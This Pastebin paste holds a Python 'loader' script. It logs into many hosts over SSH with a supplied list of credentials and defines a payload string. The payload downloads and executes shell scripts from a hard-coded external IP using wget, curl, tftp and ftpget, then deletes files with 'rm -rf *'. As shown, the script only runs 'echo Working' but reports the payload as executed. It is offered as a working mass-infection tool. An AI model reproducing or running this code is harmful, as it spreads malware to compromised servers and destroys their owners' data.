thekin

Python - LRAB loader in Python

Oct 28th, 2018 (edited)
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.97 KB | None | 0 0
  1. import sys
  2. import socket
  3. import colorama
  4. import paramiko
  5. import warnings
  6. import threading
  7.  
  8. colorama.init()
  9.  
  10. paramiko.util.log_to_file("/dev/null")
  11. warnings.simplefilter(action="ignore", category=FutureWarning)
  12.  
  13. payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.49.224.232/ssh-updater.sh; curl -O http://37.49.224.232/ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp 37.49.224.232 -c get ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp -r ssh-updater2.sh -g 37.49.224.232; chmod 777 ssh-updater2.sh; sh ssh-updater2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.49.224.232 ssh-updater1.sh ssh-updater1.sh; sh ssh-updater1.sh; rm -rf ssh-updater.sh ssh-updater.sh ssh-updater2.sh ssh-updater1.sh; rm -rf *"
  14.  
  15. if len(sys.argv) < 2:
  16.     sys.exit("Usage: " + sys.argv[0] + " <Vuln List>")
  17.  
  18. ips = open(sys.argv[1], "r").readlines()
  19.  
  20. class Loader(threading.Thread):
  21.     def __init__(self, username, password, ip):
  22.         threading.Thread.__init__(self)
  23.  
  24.         self.username = username
  25.         self.password = password
  26.         self.ip = ip
  27.  
  28.     def run(self):
  29.         try:
  30.             ssh = paramiko.SSHClient()
  31.             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  32.             ssh.connect(self.ip, port=22, username=self.username, password=self.password, timeout=5)
  33.            
  34.             stdin, stdout, stderr = ssh.exec_command("echo Working")
  35.             output = stdout.read()
  36.            
  37.             if "Working" in output:
  38.                 good_server = True
  39.  
  40.             if good_server == True:
  41.                 print("\033[32m[SUCCESS] Payload executed ==> {}\033[39m".format(self.ip))
  42.            
  43.             ssh.close()
  44.         except paramiko.AuthenticationException:
  45.             print("\033[32m[FAILURE] Could not authenticate ==> {}:{}:{}\033[39m".format(self.username, self.password, self.ip))
  46.         except socket.error:
  47.             print("\033[33m[FAILURE] Couldn't establish a connection ==> {}\033[39m".format(self.ip))
  48.         except:
  49.             pass
  50.  
  51. for ip in ips:
  52.     username, password, ip = ip.strip().split(":")
  53.  
  54.     loader = Loader(username, password, ip)
  55.     loader.start()
Advertisement
Add Comment
Please, Sign In to add comment